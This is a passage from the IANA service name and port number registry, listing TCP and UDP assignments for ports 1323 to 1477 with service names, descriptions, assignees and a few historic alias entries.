brcd               1323        udp    brcd                         [Todd_Picquelle]                                      [Todd_Picquelle]
delta-mcp          1324        tcp    delta-mcp                    [Quinton_Tormanen]                                    [Quinton_Tormanen]
delta-mcp          1324        udp    delta-mcp                    [Quinton_Tormanen]                                    [Quinton_Tormanen]
dx-instrument      1325        tcp    DX-Instrument                [Walt_Modic]                                          [Walt_Modic]
dx-instrument      1325        udp    DX-Instrument                [Walt_Modic]                                          [Walt_Modic]
wimsic             1326        tcp    WIMSIC                       [James_Brown]                                         [James_Brown]
wimsic             1326        udp    WIMSIC                       [James_Brown]                                         [James_Brown]
ultrex             1327        tcp    Ultrex                       [Tim_Walsh]                                           [Tim_Walsh]
ultrex             1327        udp    Ultrex                       [Tim_Walsh]                                           [Tim_Walsh]
ewall              1328        tcp    EWALL                        [Jeff_Busma]                                          [Jeff_Busma]
ewall              1328        udp    EWALL                        [Jeff_Busma]                                          [Jeff_Busma]
netdb-export       1329        tcp    netdb-export                 [Konstantinos_Kostis]                                 [Konstantinos_Kostis]
netdb-export       1329        udp    netdb-export                 [Konstantinos_Kostis]                                 [Konstantinos_Kostis]
streetperfect      1330        tcp    StreetPerfect                [Michael_R_Young]                                     [Michael_R_Young]
streetperfect      1330        udp    StreetPerfect                [Michael_R_Young]                                     [Michael_R_Young]
intersan           1331        tcp    intersan                     [Barry_H_Feild]                                       [Barry_H_Feild]
intersan           1331        udp    intersan                     [Barry_H_Feild]                                       [Barry_H_Feild]
pcia-rxp-b         1332        tcp    PCIA RXP-B                   [James_Dabbs]                                         [James_Dabbs]
pcia-rxp-b         1332        udp    PCIA RXP-B                   [James_Dabbs]                                         [James_Dabbs]
passwrd-policy     1333        tcp    Password Policy              [Tonio_Pirotta]                                       [Tonio_Pirotta]
passwrd-policy     1333        udp    Password Policy              [Tonio_Pirotta]                                       [Tonio_Pirotta]
writesrv           1334        tcp    writesrv                     [Marvin_Toungate]                                     [Marvin_Toungate]
writesrv           1334        udp    writesrv                     [Marvin_Toungate]                                     [Marvin_Toungate]
digital-notary     1335        tcp    Digital Notary Protocol      [Wes_Doonan]                                          [Wes_Doonan]
digital-notary     1335        udp    Digital Notary Protocol      [Wes_Doonan]                                          [Wes_Doonan]
ischat             1336        tcp    Instant Service Chat         [Mike_Clise]                                          [Mike_Clise]
ischat             1336        udp    Instant Service Chat         [Mike_Clise]                                          [Mike_Clise]
menandmice-dns     1337        tcp    menandmice DNS               [Sigfus_Magnusson]                                    [Sigfus_Magnusson]
menandmice-dns     1337        udp    menandmice DNS               [Sigfus_Magnusson]                                    [Sigfus_Magnusson]
wmc-log-svc        1338        tcp    WMC-log-svr                  [Scott_Anderson]                                      [Scott_Anderson]
wmc-log-svc        1338        udp    WMC-log-svr                  [Scott_Anderson]                                      [Scott_Anderson]
kjtsiteserver      1339        tcp    kjtsiteserver                [Jason_Aubain]                                        [Jason_Aubain]
kjtsiteserver      1339        udp    kjtsiteserver                [Jason_Aubain]                                        [Jason_Aubain]
naap               1340        tcp    NAAP                         [Henry_Haverinen]                                     [Henry_Haverinen]
naap               1340        udp    NAAP                         [Henry_Haverinen]                                     [Henry_Haverinen]
qubes              1341        tcp    QuBES                        [Eric_Grange]                                         [Eric_Grange]
qubes              1341        udp    QuBES                        [Eric_Grange]                                         [Eric_Grange]
esbroker           1342        tcp    ESBroker                     [Alexander_Medvinsky]                                 [Alexander_Medvinsky]
esbroker           1342        udp    ESBroker                     [Alexander_Medvinsky]                                 [Alexander_Medvinsky]
re101              1343        tcp    re101                        [Doriano_Blengino]                                    [Doriano_Blengino]
re101              1343        udp    re101                        [Doriano_Blengino]                                    [Doriano_Blengino]
icap               1344        tcp    ICAP                         [Jeremy_Elson]                                        [Jeremy_Elson]
icap               1344        udp    ICAP                         [Jeremy_Elson]                                        [Jeremy_Elson]
vpjp               1345        tcp    VPJP                         [Michael_Collins]                                     [Michael_Collins]
vpjp               1345        udp    VPJP                         [Michael_Collins]                                     [Michael_Collins]
alta-ana-lm        1346        tcp    Alta Analytics License
                                      Manager
alta-ana-lm        1346        udp    Alta Analytics License
                                      Manager
bbn-mmc            1347        tcp    multi media conferencing
bbn-mmc            1347        udp    multi media conferencing
bbn-mmx            1348        tcp    multi media conferencing
bbn-mmx            1348        udp    multi media conferencing
sbook              1349        tcp    Registration Network
                                      Protocol
sbook              1349        udp    Registration Network
                                      Protocol
editbench          1350        tcp    Registration Network         [Simson_L_Garfinkel]                                  [Simson_L_Garfinkel]
                                      Protocol
editbench          1350        udp    Registration Network         [Simson_L_Garfinkel]                                  [Simson_L_Garfinkel]
                                      Protocol
equationbuilder    1351        tcp    Digital Tool Works (MIT)     [Terrence_J_Talbot]                                   [Terrence_J_Talbot]
equationbuilder    1351        udp    Digital Tool Works (MIT)     [Terrence_J_Talbot]                                   [Terrence_J_Talbot]
lotusnote          1352        tcp    Lotus Note                   [Greg_Pflaum]                                         [Greg_Pflaum]                                             1992-07
lotusnote          1352        udp    Lotus Note                   [Greg_Pflaum]                                         [Greg_Pflaum]                                             1992-07
relief             1353        tcp    Relief Consulting            [John_Feiler]                                         [John_Feiler]
relief             1353        udp    Relief Consulting            [John_Feiler]                                         [John_Feiler]
XSIP-network       1354        tcp    Five Across XSIP Network     [Glenn_Reid]                                          [Glenn_Reid]
XSIP-network       1354        udp    Five Across XSIP Network     [Glenn_Reid]                                          [Glenn_Reid]
intuitive-edge     1355        tcp    Intuitive Edge               [Montgomery_Zukowski]                                 [Montgomery_Zukowski]
intuitive-edge     1355        udp    Intuitive Edge               [Montgomery_Zukowski]                                 [Montgomery_Zukowski]
cuillamartin       1356        tcp    CuillaMartin Company
cuillamartin       1356        udp    CuillaMartin Company
pegboard           1357        tcp    Electronic PegBoard          [Chris_Cuilla]                                        [Chris_Cuilla]
pegboard           1357        udp    Electronic PegBoard          [Chris_Cuilla]                                        [Chris_Cuilla]
connlcli           1358        tcp    CONNLCLI
connlcli           1358        udp    CONNLCLI
ftsrv              1359        tcp    FTSRV                        [Ines_Homem_de_Melo]                                  [Ines_Homem_de_Melo]
ftsrv              1359        udp    FTSRV                        [Ines_Homem_de_Melo]                                  [Ines_Homem_de_Melo]
mimer              1360        tcp    MIMER                        [Per_Schroeder]                                       [Per_Schroeder]
mimer              1360        udp    MIMER                        [Per_Schroeder]                                       [Per_Schroeder]
linx               1361        tcp    LinX                         [Steffen_Schilke]                                     [Steffen_Schilke]
linx               1361        udp    LinX                         [Steffen_Schilke]                                     [Steffen_Schilke]
timeflies          1362        tcp    TimeFlies                    [Doug_Kent]                                           [Doug_Kent]
timeflies          1362        udp    TimeFlies                    [Doug_Kent]                                           [Doug_Kent]
ndm-requester      1363        tcp    Network DataMover Requester
ndm-requester      1363        udp    Network DataMover Requester
ndm-server         1364        tcp    Network DataMover Server     [Toshio_Watanabe]                                     [Toshio_Watanabe]
ndm-server         1364        udp    Network DataMover Server     [Toshio_Watanabe]                                     [Toshio_Watanabe]
adapt-sna          1365        tcp    Network Software Associates  [Jeffery_Chiao]                                       [Jeffery_Chiao]
adapt-sna          1365        udp    Network Software Associates  [Jeffery_Chiao]                                       [Jeffery_Chiao]
netware-csp        1366        tcp    Novell NetWare Comm Service  [Laurie_Lindsey]                                      [Laurie_Lindsey]
                                      Platform
netware-csp        1366        udp    Novell NetWare Comm Service  [Laurie_Lindsey]                                      [Laurie_Lindsey]
                                      Platform
dcs                1367        tcp    DCS                          [Stefan_Siebert]                                      [Stefan_Siebert]
dcs                1367        udp    DCS                          [Stefan_Siebert]                                      [Stefan_Siebert]
screencast         1368        tcp    ScreenCast                   [Bill_Tschumy]                                        [Bill_Tschumy]
screencast         1368        udp    ScreenCast                   [Bill_Tschumy]                                        [Bill_Tschumy]
gv-us              1369        tcp    GlobalView to Unix Shell
gv-us              1369        udp    GlobalView to Unix Shell
us-gv              1370        tcp    Unix Shell to GlobalView     [Makoto_Mita]                                         [Makoto_Mita]
us-gv              1370        udp    Unix Shell to GlobalView     [Makoto_Mita]                                         [Makoto_Mita]
fc-cli             1371        tcp    Fujitsu Config Protocol
fc-cli             1371        udp    Fujitsu Config Protocol
fc-ser             1372        tcp    Fujitsu Config Protocol      [Ryuichi_Horie]                                       [Ryuichi_Horie]
fc-ser             1372        udp    Fujitsu Config Protocol      [Ryuichi_Horie]                                       [Ryuichi_Horie]
chromagrafx        1373        tcp    Chromagrafx                  [Mike_Barthelemy]                                     [Mike_Barthelemy]
chromagrafx        1373        udp    Chromagrafx                  [Mike_Barthelemy]                                     [Mike_Barthelemy]
molly              1374        tcp    EPI Software Systems         [Jim_Vlcek]                                           [Jim_Vlcek]
molly              1374        udp    EPI Software Systems         [Jim_Vlcek]                                           [Jim_Vlcek]
bytex              1375        tcp    Bytex                        [Mary_Ann_Burt]                                       [Mary_Ann_Burt]
bytex              1375        udp    Bytex                        [Mary_Ann_Burt]                                       [Mary_Ann_Burt]
ibm-pps            1376        tcp    IBM Person to Person         [Simon_Phipps]                                        [Simon_Phipps]
                                      Software
ibm-pps            1376        udp    IBM Person to Person         [Simon_Phipps]                                        [Simon_Phipps]
                                      Software
cichlid            1377        tcp    Cichlid License Manager      [Andy_Burgess]                                        [Andy_Burgess]
cichlid            1377        udp    Cichlid License Manager      [Andy_Burgess]                                        [Andy_Burgess]
elan               1378        tcp    Elan License Manager         [Ken_Greer]                                           [Ken_Greer]
elan               1378        udp    Elan License Manager         [Ken_Greer]                                           [Ken_Greer]
dbreporter         1379        tcp    Integrity Solutions          [Tim_Dawson]                                          [Tim_Dawson]
dbreporter         1379        udp    Integrity Solutions          [Tim_Dawson]                                          [Tim_Dawson]
telesis-licman     1380        tcp    Telesis Network License      [Karl_Schendel_Jr]                                    [Karl_Schendel_Jr]
                                      Manager
telesis-licman     1380        udp    Telesis Network License      [Karl_Schendel_Jr]                                    [Karl_Schendel_Jr]
                                      Manager
apple-licman       1381        tcp    Apple Network License        [Earl_Wallace]                                        [Earl_Wallace]
                                      Manager
apple-licman       1381        udp    Apple Network License        [Earl_Wallace]                                        [Earl_Wallace]
                                      Manager
                                      udt_os

udt-os             1382        tcp    IANA assigned this
                                      well-formed service name as
                                      a replacement for "udt_os".
                                                                                                                                                                                                                                                                                  This entry is an alias to "udt-os". This entry is now
udt_os             1382        tcp    udt_os                                                                                                                                                                                                                                      historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      udt_os

udt-os             1382        udp    IANA assigned this
                                      well-formed service name as
                                      a replacement for "udt_os".
                                                                                                                                                                                                                                                                                  This entry is an alias to "udt-os". This entry is now
udt_os             1382        udp    udt_os                                                                                                                                                                                                                                      historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
gwha               1383        tcp    GW Hannaway Network License  [J_Gabriel_Foster]                                    [J_Gabriel_Foster]
                                      Manager
gwha               1383        udp    GW Hannaway Network License  [J_Gabriel_Foster]                                    [J_Gabriel_Foster]
                                      Manager
os-licman          1384        tcp    Objective Solutions License  [Donald_Cornwell]                                     [Donald_Cornwell]
                                      Manager
os-licman          1384        udp    Objective Solutions License  [Donald_Cornwell]                                     [Donald_Cornwell]
                                      Manager
                                      Atex Publishing License
                                      Manager

atex-elmd          1385        tcp    IANA assigned this           [Brett_Sorenson]                                      [Brett_Sorenson]
                                      well-formed service name as
                                      a replacement for
                                      "atex_elmd".
                                      Atex Publishing License                                                                                                                                                                                                                     This entry is an alias to "atex-elmd". This entry is now
atex_elmd          1385        tcp    Manager                      [Brett_Sorenson]                                      [Brett_Sorenson]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Atex Publishing License
                                      Manager

atex-elmd          1385        udp    IANA assigned this           [Brett_Sorenson]                                      [Brett_Sorenson]
                                      well-formed service name as
                                      a replacement for
                                      "atex_elmd".
                                      Atex Publishing License                                                                                                                                                                                                                     This entry is an alias to "atex-elmd". This entry is now
atex_elmd          1385        udp    Manager                      [Brett_Sorenson]                                      [Brett_Sorenson]                                                                                                                                         historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
checksum           1386        tcp    CheckSum License Manager     [Andreas_Glocker]                                     [Andreas_Glocker]
checksum           1386        udp    CheckSum License Manager     [Andreas_Glocker]                                     [Andreas_Glocker]
cadsi-lm           1387        tcp    Computer Aided Design        [Sulistio_Muljadi]                                    [Sulistio_Muljadi]
                                      Software Inc LM
cadsi-lm           1387        udp    Computer Aided Design        [Sulistio_Muljadi]                                    [Sulistio_Muljadi]
                                      Software Inc LM
objective-dbc      1388        tcp    Objective Solutions DataBase [Donald_Cornwell_2]                                   [Donald_Cornwell_2]
                                      Cache
objective-dbc      1388        udp    Objective Solutions DataBase [Donald_Cornwell_2]                                   [Donald_Cornwell_2]
                                      Cache
iclpv-dm           1389        tcp    Document Manager
iclpv-dm           1389        udp    Document Manager
iclpv-sc           1390        tcp    Storage Controller
iclpv-sc           1390        udp    Storage Controller
iclpv-sas          1391        tcp    Storage Access Server
iclpv-sas          1391        udp    Storage Access Server
iclpv-pm           1392        tcp    Print Manager
iclpv-pm           1392        udp    Print Manager
iclpv-nls          1393        tcp    Network Log Server
iclpv-nls          1393        udp    Network Log Server
iclpv-nlc          1394        tcp    Network Log Client
iclpv-nlc          1394        udp    Network Log Client
iclpv-wsm          1395        tcp    PC Workstation Manager       [A_P_Hobson]                                          [A_P_Hobson]
                                      software
iclpv-wsm          1395        udp    PC Workstation Manager       [A_P_Hobson]                                          [A_P_Hobson]
                                      software
dvl-activemail     1396        tcp    DVL Active Mail
dvl-activemail     1396        udp    DVL Active Mail
audio-activmail    1397        tcp    Audio Active Mail
audio-activmail    1397        udp    Audio Active Mail
video-activmail    1398        tcp    Video Active Mail            [Avshalom_Houri]                                      [Avshalom_Houri]
video-activmail    1398        udp    Video Active Mail            [Avshalom_Houri]                                      [Avshalom_Houri]
cadkey-licman      1399        tcp    Cadkey License Manager
cadkey-licman      1399        udp    Cadkey License Manager
cadkey-tablet      1400        tcp    Cadkey Tablet Daemon         [Joe_McCollough]                                      [Joe_McCollough]
cadkey-tablet      1400        udp    Cadkey Tablet Daemon         [Joe_McCollough]                                      [Joe_McCollough]
goldleaf-licman    1401        tcp    Goldleaf License Manager     [John_Fox]                                            [John_Fox]
goldleaf-licman    1401        udp    Goldleaf License Manager     [John_Fox]                                            [John_Fox]
prm-sm-np          1402        tcp    Prospero Resource Manager
prm-sm-np          1402        udp    Prospero Resource Manager
prm-nm-np          1403        tcp    Prospero Resource Manager    [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
prm-nm-np          1403        udp    Prospero Resource Manager    [B_Clifford_Neuman]                                   [B_Clifford_Neuman]
igi-lm             1404        tcp    Infinite Graphics License
                                      Manager
igi-lm             1404        udp    Infinite Graphics License
                                      Manager
ibm-res            1405        tcp    IBM Remote Execution Starter
ibm-res            1405        udp    IBM Remote Execution Starter
netlabs-lm         1406        tcp    NetLabs License Manager
netlabs-lm         1406        udp    NetLabs License Manager
tibet-server       1407        tcp    TIBET Data Server            [Technical_Pursuit_Inc]                               [Scott_Shattuck]                                          2015-06-16                                                                                     This port has been retasked on 2015-06-16.
                   1407        udp    Reserved                                                                                                                                                                                                                                    This port has been removed on 2015-06-16.
sophia-lm          1408        tcp    Sophia License Manager       [Eric_Brown]                                          [Eric_Brown]
sophia-lm          1408        udp    Sophia License Manager       [Eric_Brown]                                          [Eric_Brown]
here-lm            1409        tcp    Here License Manager         [David_Ison]                                          [David_Ison]
here-lm            1409        udp    Here License Manager         [David_Ison]                                          [David_Ison]
hiq                1410        tcp    HiQ License Manager          [Rick_Pugh]                                           [Rick_Pugh]
hiq                1410        udp    HiQ License Manager          [Rick_Pugh]                                           [Rick_Pugh]
af                 1411        tcp    AudioFile                    [Jim_Gettys]                                          [Jim_Gettys]
af                 1411        udp    AudioFile                    [Jim_Gettys]                                          [Jim_Gettys]
innosys            1412        tcp    InnoSys
innosys            1412        udp    InnoSys
innosys-acl        1413        tcp    Innosys-ACL                  [Eric_Welch]                                          [Eric_Welch]
innosys-acl        1413        udp    Innosys-ACL                  [Eric_Welch]                                          [Eric_Welch]
ibm-mqseries       1414        tcp    IBM MQSeries                 [Roger_Meli]                                          [Roger_Meli]
ibm-mqseries       1414        udp    IBM MQSeries                 [Roger_Meli]                                          [Roger_Meli]
dbstar             1415        tcp    DBStar                       [Jeffrey_Millman]                                     [Jeffrey_Millman]
dbstar             1415        udp    DBStar                       [Jeffrey_Millman]                                     [Jeffrey_Millman]
                                      Novell LU6.2

novell-lu6-2       1416        tcp    IANA assigned this           [Peter_Liu]                                           [Peter_Liu]
                                      well-formed service name as
                                      a replacement for
                                      "novell-lu6.2".
                                                                                                                                                                                                                                                                                  This entry is an alias to "novell-lu6-2". This entry is now
novell-lu6.2       1416        tcp    Novell LU6.2                 [Peter_Liu]                                           [Peter_Liu]                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Novell LU6.2

novell-lu6-2       1416        udp    IANA assigned this           [Peter_Liu]                                           [Peter_Liu]
                                      well-formed service name as
                                      a replacement for
                                      "novell-lu6.2".
                                                                                                                                                                                                                                                                                  This entry is an alias to "novell-lu6-2". This entry is now
novell-lu6.2       1416        udp    Novell LU6.2                 [Peter_Liu]                                           [Peter_Liu]                                                                                                                                              historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
timbuktu-srv1      1417        tcp    Timbuktu Service 1 Port
timbuktu-srv1      1417        udp    Timbuktu Service 1 Port
timbuktu-srv2      1418        tcp    Timbuktu Service 2 Port
timbuktu-srv2      1418        udp    Timbuktu Service 2 Port
timbuktu-srv3      1419        tcp    Timbuktu Service 3 Port
timbuktu-srv3      1419        udp    Timbuktu Service 3 Port
timbuktu-srv4      1420        tcp    Timbuktu Service 4 Port      [Marc_Epard]                                          [Marc_Epard]
timbuktu-srv4      1420        udp    Timbuktu Service 4 Port      [Marc_Epard]                                          [Marc_Epard]
gandalf-lm         1421        tcp    Gandalf License Manager      [gilmer]                                              [gilmer]
gandalf-lm         1421        udp    Gandalf License Manager      [gilmer]                                              [gilmer]
autodesk-lm        1422        tcp    Autodesk License Manager     [David_Ko]                                            [David_Ko]
autodesk-lm        1422        udp    Autodesk License Manager     [David_Ko]                                            [David_Ko]
essbase            1423        tcp    Essbase Arbor Software
essbase            1423        udp    Essbase Arbor Software
hybrid             1424        tcp    Hybrid Encryption Protocol   [Howard_Hart]                                         [Howard_Hart]
hybrid             1424        udp    Hybrid Encryption Protocol   [Howard_Hart]                                         [Howard_Hart]
zion-lm            1425        tcp    Zion Software License        [David_Ferrero]                                       [David_Ferrero]
                                      Manager
zion-lm            1425        udp    Zion Software License        [David_Ferrero]                                       [David_Ferrero]
                                      Manager
sais               1426        tcp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 1
sais               1426        udp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 1
mloadd             1427        tcp    mloadd monitoring tool       [Bob_Braden_2]                                        [Bob_Braden_2]
mloadd             1427        udp    mloadd monitoring tool       [Bob_Braden_2]                                        [Bob_Braden_2]
informatik-lm      1428        tcp    Informatik License Manager   [Harald_Schlangmann]                                  [Harald_Schlangmann]
informatik-lm      1428        udp    Informatik License Manager   [Harald_Schlangmann]                                  [Harald_Schlangmann]
nms                1429        tcp    Hypercom NMS
nms                1429        udp    Hypercom NMS
tpdu               1430        tcp    Hypercom TPDU                [Noor_Chowdhury]                                      [Noor_Chowdhury]
tpdu               1430        udp    Hypercom TPDU                [Noor_Chowdhury]                                      [Noor_Chowdhury]
rgtp               1431        tcp    Reverse Gossip Transport     [Ian_Jackson]                                         [Ian_Jackson]
rgtp               1431        udp    Reverse Gossip Transport     [Ian_Jackson]                                         [Ian_Jackson]
blueberry-lm       1432        tcp    Blueberry Software License   [Steve_Beigel]                                        [Steve_Beigel]
                                      Manager
blueberry-lm       1432        udp    Blueberry Software License   [Steve_Beigel]                                        [Steve_Beigel]
                                      Manager
ms-sql-s           1433        tcp    Microsoft-SQL-Server
ms-sql-s           1433        udp    Microsoft-SQL-Server
ms-sql-m           1434        tcp    Microsoft-SQL-Monitor        [Peter_Hussey]                                        [Peter_Hussey]
ms-sql-m           1434        udp    Microsoft-SQL-Monitor        [Peter_Hussey]                                        [Peter_Hussey]
ibm-cics           1435        tcp    IBM CICS                     [Geoff_Meacock]                                       [Geoff_Meacock]
ibm-cics           1435        udp    IBM CICS                     [Geoff_Meacock]                                       [Geoff_Meacock]
saism              1436        tcp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 2
saism              1436        udp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 2
tabula             1437        tcp    Tabula                       [Marcelo_Einhorn]                                     [Marcelo_Einhorn]
tabula             1437        udp    Tabula                       [Marcelo_Einhorn]                                     [Marcelo_Einhorn]
eicon-server       1438        tcp    Eicon Security Agent/Server
eicon-server       1438        udp    Eicon Security Agent/Server
eicon-x25          1439        tcp    Eicon X25/SNA Gateway
eicon-x25          1439        udp    Eicon X25/SNA Gateway
eicon-slp          1440        tcp    Eicon Service Location       [Pat_Calhoun]                                         [Pat_Calhoun]
                                      Protocol
eicon-slp          1440        udp    Eicon Service Location       [Pat_Calhoun]                                         [Pat_Calhoun]
                                      Protocol
cadis-1            1441        tcp    Cadis License Management
cadis-1            1441        udp    Cadis License Management
cadis-2            1442        tcp    Cadis License Management     [Todd_Wichers]                                        [Todd_Wichers]
cadis-2            1442        udp    Cadis License Management     [Todd_Wichers]                                        [Todd_Wichers]
ies-lm             1443        tcp    Integrated Engineering       [David_Tong]                                          [David_Tong]
                                      Software
ies-lm             1443        udp    Integrated Engineering       [David_Tong]                                          [David_Tong]
                                      Software
marcam-lm          1444        tcp    Marcam License Management    [Therese_Hunt]                                        [Therese_Hunt]
marcam-lm          1444        udp    Marcam License Management    [Therese_Hunt]                                        [Therese_Hunt]
proxima-lm         1445        tcp    Proxima License Manager
proxima-lm         1445        udp    Proxima License Manager
ora-lm             1446        tcp    Optical Research Associates
                                      License Manager
ora-lm             1446        udp    Optical Research Associates
                                      License Manager
apri-lm            1447        tcp    Applied Parallel Research LM [Jim_Dillon]                                          [Jim_Dillon]
apri-lm            1447        udp    Applied Parallel Research LM [Jim_Dillon]                                          [Jim_Dillon]
oc-lm              1448        tcp    OpenConnect License Manager  [Sue_Barnhill]                                        [Sue_Barnhill]
oc-lm              1448        udp    OpenConnect License Manager  [Sue_Barnhill]                                        [Sue_Barnhill]
peport             1449        tcp    PEport                       [Qentin_Neill]                                        [Qentin_Neill]
peport             1449        udp    PEport                       [Qentin_Neill]                                        [Qentin_Neill]
dwf                1450        tcp    Tandem Distributed Workbench [Mike_Bert]                                           [Mike_Bert]
                                      Facility
dwf                1450        udp    Tandem Distributed Workbench [Mike_Bert]                                           [Mike_Bert]
                                      Facility
infoman            1451        tcp    IBM Information Management   [Karen_Burns]                                         [Karen_Burns]
infoman            1451        udp    IBM Information Management   [Karen_Burns]                                         [Karen_Burns]
gtegsc-lm          1452        tcp    GTE Government Systems       [Mike_Gregory]                                        [Mike_Gregory]
                                      License Man
gtegsc-lm          1452        udp    GTE Government Systems       [Mike_Gregory]                                        [Mike_Gregory]
                                      License Man
genie-lm           1453        tcp    Genie License Manager        [Paul_Applegate]                                      [Paul_Applegate]
genie-lm           1453        udp    Genie License Manager        [Paul_Applegate]                                      [Paul_Applegate]
                                      interHDL License Manager

interhdl-elmd      1454        tcp    IANA assigned this           [Eli_Sternheim]                                       [Eli_Sternheim]
                                      well-formed service name as
                                      a replacement for
                                      "interhdl_elmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "interhdl-elmd". This entry is now
interhdl_elmd      1454        tcp    interHDL License Manager     [Eli_Sternheim]                                       [Eli_Sternheim]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      interHDL License Manager

interhdl-elmd      1454        udp    IANA assigned this           [Eli_Sternheim]                                       [Eli_Sternheim]
                                      well-formed service name as
                                      a replacement for
                                      "interhdl_elmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "interhdl-elmd". This entry is now
interhdl_elmd      1454        udp    interHDL License Manager     [Eli_Sternheim]                                       [Eli_Sternheim]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
esl-lm             1455        tcp    ESL License Manager          [Abel_Chou]                                           [Abel_Chou]
esl-lm             1455        udp    ESL License Manager          [Abel_Chou]                                           [Abel_Chou]
dca                1456        tcp    DCA                          [Jeff_Garbers_2]                                      [Jeff_Garbers_2]
dca                1456        udp    DCA                          [Jeff_Garbers_2]                                      [Jeff_Garbers_2]
valisys-lm         1457        tcp    Valisys License Manager      [Leslie_Lincoln]                                      [Leslie_Lincoln]
valisys-lm         1457        udp    Valisys License Manager      [Leslie_Lincoln]                                      [Leslie_Lincoln]
nrcabq-lm          1458        tcp    Nichols Research Corp.       [Howard_Cole]                                         [Howard_Cole]
nrcabq-lm          1458        udp    Nichols Research Corp.       [Howard_Cole]                                         [Howard_Cole]
proshare1          1459        tcp    Proshare Notebook
                                      Application
proshare1          1459        udp    Proshare Notebook
                                      Application
proshare2          1460        tcp    Proshare Notebook            [Robin_Kar]                                           [Robin_Kar]
                                      Application
proshare2          1460        udp    Proshare Notebook            [Robin_Kar]                                           [Robin_Kar]
                                      Application
                                      IBM Wireless LAN

ibm-wrless-lan     1461        tcp    IANA assigned this           [flanne]                                              [flanne]
                                      well-formed service name as
                                      a replacement for
                                      "ibm_wrless_lan".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ibm-wrless-lan". This entry is now
ibm_wrless_lan     1461        tcp    IBM Wireless LAN             [flanne]                                              [flanne]                                                                                                                                                 historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      IBM Wireless LAN

ibm-wrless-lan     1461        udp    IANA assigned this           [flanne]                                              [flanne]
                                      well-formed service name as
                                      a replacement for
                                      "ibm_wrless_lan".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ibm-wrless-lan". This entry is now
ibm_wrless_lan     1461        udp    IBM Wireless LAN             [flanne]                                              [flanne]                                                                                                                                                 historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
world-lm           1462        tcp    World License Manager        [Michael_S_Amirault]                                  [Michael_S_Amirault]
world-lm           1462        udp    World License Manager        [Michael_S_Amirault]                                  [Michael_S_Amirault]
nucleus            1463        tcp    Nucleus                      [Venky_Nagar]                                         [Venky_Nagar]
nucleus            1463        udp    Nucleus                      [Venky_Nagar]                                         [Venky_Nagar]
                                      MSL License Manager

msl-lmd            1464        tcp    IANA assigned this           [Matt_Timmermans]                                     [Matt_Timmermans]
                                      well-formed service name as
                                      a replacement for "msl_lmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "msl-lmd". This entry is now
msl_lmd            1464        tcp    MSL License Manager          [Matt_Timmermans]                                     [Matt_Timmermans]                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      MSL License Manager

msl-lmd            1464        udp    IANA assigned this           [Matt_Timmermans]                                     [Matt_Timmermans]
                                      well-formed service name as
                                      a replacement for "msl_lmd".
                                                                                                                                                                                                                                                                                  This entry is an alias to "msl-lmd". This entry is now
msl_lmd            1464        udp    MSL License Manager          [Matt_Timmermans]                                     [Matt_Timmermans]                                                                                                                                        historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
pipes              1465        tcp    Pipes Platform               [Mark_Farlin]                                         [Mark_Farlin]
pipes              1465        udp    Pipes Platform               [Mark_Farlin]                                         [Mark_Farlin]
oceansoft-lm       1466        tcp    Ocean Software License       [Randy_Leonard]                                       [Randy_Leonard]
                                      Manager
oceansoft-lm       1466        udp    Ocean Software License       [Randy_Leonard]                                       [Randy_Leonard]
                                      Manager
csdmbase           1467        tcp    CSDMBASE
csdmbase           1467        udp    CSDMBASE
csdm               1468        tcp    CSDM                         [Robert_Stabl]                                        [Robert_Stabl]
csdm               1468        udp    CSDM                         [Robert_Stabl]                                        [Robert_Stabl]
aal-lm             1469        tcp    Active Analysis Limited      [David_Snocken]                                       [David_Snocken]
                                      License Manager
aal-lm             1469        udp    Active Analysis Limited      [David_Snocken]                                       [David_Snocken]
                                      License Manager
uaiact             1470        tcp    Universal Analytics          [Mark_R_Ludwig]                                       [Mark_R_Ludwig]
uaiact             1470        udp    Universal Analytics          [Mark_R_Ludwig]                                       [Mark_R_Ludwig]
csdmbase           1471        tcp    csdmbase
csdmbase           1471        udp    csdmbase
csdm               1472        tcp    csdm                         [Robert_Stabl]                                        [Robert_Stabl]
csdm               1472        udp    csdm                         [Robert_Stabl]                                        [Robert_Stabl]
openmath           1473        tcp    OpenMath                     [Garth_Mayville]                                      [Garth_Mayville]
openmath           1473        udp    OpenMath                     [Garth_Mayville]                                      [Garth_Mayville]
telefinder         1474        tcp    Telefinder                   [Jim_White]                                           [Jim_White]
telefinder         1474        udp    Telefinder                   [Jim_White]                                           [Jim_White]
taligent-lm        1475        tcp    Taligent License Manager     [Mark_Sapsford]                                       [Mark_Sapsford]
taligent-lm        1475        udp    Taligent License Manager     [Mark_Sapsford]                                       [Mark_Sapsford]
clvm-cfg           1476        tcp    clvm-cfg                     [Eric_Soderberg]                                      [Eric_Soderberg]
clvm-cfg           1476        udp    clvm-cfg                     [Eric_Soderberg]                                      [Eric_Soderberg]
ms-sna-server      1477        tcp    ms-sna-server
ms-sna-server      1477        udp    ms-sna-server
